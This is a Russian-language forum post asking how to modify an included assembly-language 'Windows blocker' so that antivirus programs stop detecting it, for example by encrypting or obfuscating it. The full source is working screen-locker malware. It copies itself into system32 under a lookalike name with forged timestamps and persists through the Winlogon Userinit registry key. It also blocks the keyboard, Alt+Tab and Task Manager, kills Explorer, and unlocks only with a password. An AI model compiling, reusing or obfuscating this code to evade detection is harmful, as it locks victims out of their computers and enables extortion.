Поиски привели меня сюда _http://kaimi.ru/2009/05/блокиратор-windows/
Вобщем:
Есть исходник(на асме), но скомпилированный билд палится антивирусами.
В ассамблере я ноль, а криптор использовать не позволяет религия
Вопрос/просьба: как изменить исходник, чтобы антивири молчали? То есть как к примеру добавить шифрование, обфусцировать код...?
Хотелось бы наглядно увидеть преобразования применительно именно к ЭТОМУ исходнику
; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« .486 ; create 32 bit code .model flat, stdcall ; 32 bit memory model option casemap :none ; case sensitive ; ««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« include include\windows.inc include include\user32.inc include include\kernel32.inc include include\Comctl32.inc include include\shell32.inc include include\DIALOGS.INC include macros\macros.asm include macros\ucmacros.asm include include\advapi32.inc includelib lib\masm32.lib includelib lib\user32.lib includelib lib\kernel32.lib includelib lib\Comctl32.lib includelib lib\shell32.lib includelib lib\advapi32.lib DialogProc PROTO :DWORD,:DWORD,:DWORD,:DWORD MyHook PROTO :DWORD,:DWORD,:DWORD EnumProc PROTO :DWORD, :DWORD .data taskman dd 0 WSTR regkey,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" WSTR keyname,"Userinit" WSTR userinit,"\userinit.exe," WSTR userinit2,"\userinit.exe" WSTR MyFile,"\usrinit.exe" explorerKilled db 0 .data? hWnd dd ? hInstance dd ? hIDKey dd ? ftime1 FILETIME <> ftime2 FILETIME <> ftime3 FILETIME <> hook dd ? buf db 256 dup(?) buf2 db 256 dup(?) sys32 db 128 dup(?) .code start: mov hInstance, FUNC(GetModuleHandle,NULL) call main invoke ExitProcess,eax main PROC invoke SHGetFolderPathW,NULL,CSIDL_SYSTEM,NULL,0,offset sys32 invoke lstrcpyW,offset buf2,offset sys32 invoke lstrcatW,eax,offset MyFile invoke WideCharToMultiByte,CP_ACP,0,offset buf2,-1,offset buf,255,NULL,NULL invoke GetCommandLine mov edi,eax inc edi mov esi,edi mov al,'"' repne scasb mov byte ptr [edi-1],0 push esi invoke lstrcmp,esi,offset buf pop esi .if eax!=0 invoke CopyFile,esi,offset buf,TRUE .if eax!=0 invoke lstrcpyW,offset buf,offset sys32 invoke lstrcatW,eax,offset userinit2 invoke CreateFileW,offset buf,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 .if eax!=INVALID_HANDLE_VALUE push eax invoke GetFileTime,eax,offset ftime1,offset ftime2,offset ftime3 pop eax invoke CloseHandle,eax invoke lstrcpyW,offset buf,offset sys32 invoke lstrcatW,eax,offset MyFile invoke CreateFileW,offset buf,GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 .if eax!=INVALID_HANDLE_VALUE push eax invoke SetFileTime,eax,offset ftime1,offset ftime2,offset ftime3 pop eax invoke CloseHandle,eax .endif .endif .endif invoke lstrcpyW,offset buf,offset sys32 invoke lstrcatW,eax,offset userinit invoke lstrcatW,eax,offset sys32 invoke lstrcatW,eax,offset MyFile call WriteReg .endif Dialog " ", \ "MS Sans Serif",12, \ 0, \ 3, \ 50,50,230,90, \ 1024 DlgStatic "Введи пароль (123):",0,100,102,100,13,101 DlgEdit WS_TABSTOP,205,100,100,13,202 DlgButton "Остановите это безобразие!",WS_TABSTOP,100,120,200,13,201 CallModalDialog hInstance,0,DialogProc,NULL xor eax,eax ret main ENDP DialogProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD .if uMsg == WM_INITDIALOG invoke ShowWindow,hWin,SW_SHOWMAXIMIZED invoke GetWindowLong,hWin,GWL_STYLE and eax,not WS_CAPTION and eax,not WS_THICKFRAME invoke SetWindowLong,hWin,GWL_STYLE,eax invoke GetWindowLong,hWin,GWL_EXSTYLE or eax,WS_EX_LAYERED invoke SetWindowLong,hWin,GWL_EXSTYLE,eax invoke SetLayeredWindowAttributes,hWin,0,225,LWA_ALPHA invoke GetCurrentThreadId mov hook,FUNC(SetWindowsHookEx,WH_KEYBOARD,offset MyHook,NULL,eax) invoke RegisterHotKey,NULL,108,MOD_ALT,VK_TAB invoke SetWindowPos,hWin,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE invoke SetTimer,hWin,101,40,NULL m2m hWnd, hWin .elseif uMsg==WM_COMMAND .if wParam==201 invoke GetDlgItemText,hWnd,202,offset buf,100 invoke lstrcmp,offset buf,chr$("123") test eax,eax je @F ret @@: invoke UnhookWindowsHookEx,hook invoke UnregisterHotKey,NULL,108 invoke KillTimer,hWnd,101 .if taskman!=0 invoke ShowWindow,taskman,SW_SHOW .endif invoke lstrcpyW,offset buf,offset sys32 invoke lstrcatW,eax,offset userinit call WriteReg invoke EndDialog,hWin,0 .endif .elseif uMsg==WM_TIMER invoke SetForegroundWindow, hWnd invoke SetWindowPos,hWnd,HWND_TOP,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE call GetForegroundWindow cmp eax,hWnd je good push eax invoke GetClassName,eax,offset buf,30 invoke lstrcmp,offset buf,chr$("#32770") pop ebx test eax,eax jne good mov taskman,ebx invoke ShowWindow,ebx,SW_HIDE good: .if explorerKilled==0 invoke EnumWindows,offset EnumProc,NULL .endif .endif xor eax,eax ret DialogProc ENDP MyHook PROC nCode:DWORD,wParam:DWORD,lParam:DWORD cmp nCode,0 jge @F invoke CallNextHookEx,WH_KEYBOARD,nCode,wParam,lParam ret @@: .if (wParam>=31h && wParam<=3Ah) || wParam==8 invoke CallNextHookEx,WH_KEYBOARD,nCode,wParam,lParam ret .endif mov eax,1 ret MyHook ENDP EnumProc PROC,hWndf :DWORD,lParam :DWORD invoke GetWindowText,hWndf,offset buf2,29 invoke lstrcmp,offset buf2,chr$("Program Manager") test eax,eax jne @F mov explorerKilled,1 invoke SendMessage,hWndf,WM_ENDSESSION,TRUE,ENDSESSION_CRITICAL @@: ret EnumProc ENDP WriteReg PROC invoke RegCreateKeyExW,HKEY_LOCAL_MACHINE,offset regkey,NULL,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,offset hIDKey,NULL .IF eax==ERROR_SUCCESS invoke lstrlenW,offset buf add eax,eax add eax,2 invoke RegSetValueExW,hIDKey,offset keyname,NULL,REG_SZ,offset buf,eax invoke RegCloseKey,hIDKey .ENDIF ret WriteReg ENDP end start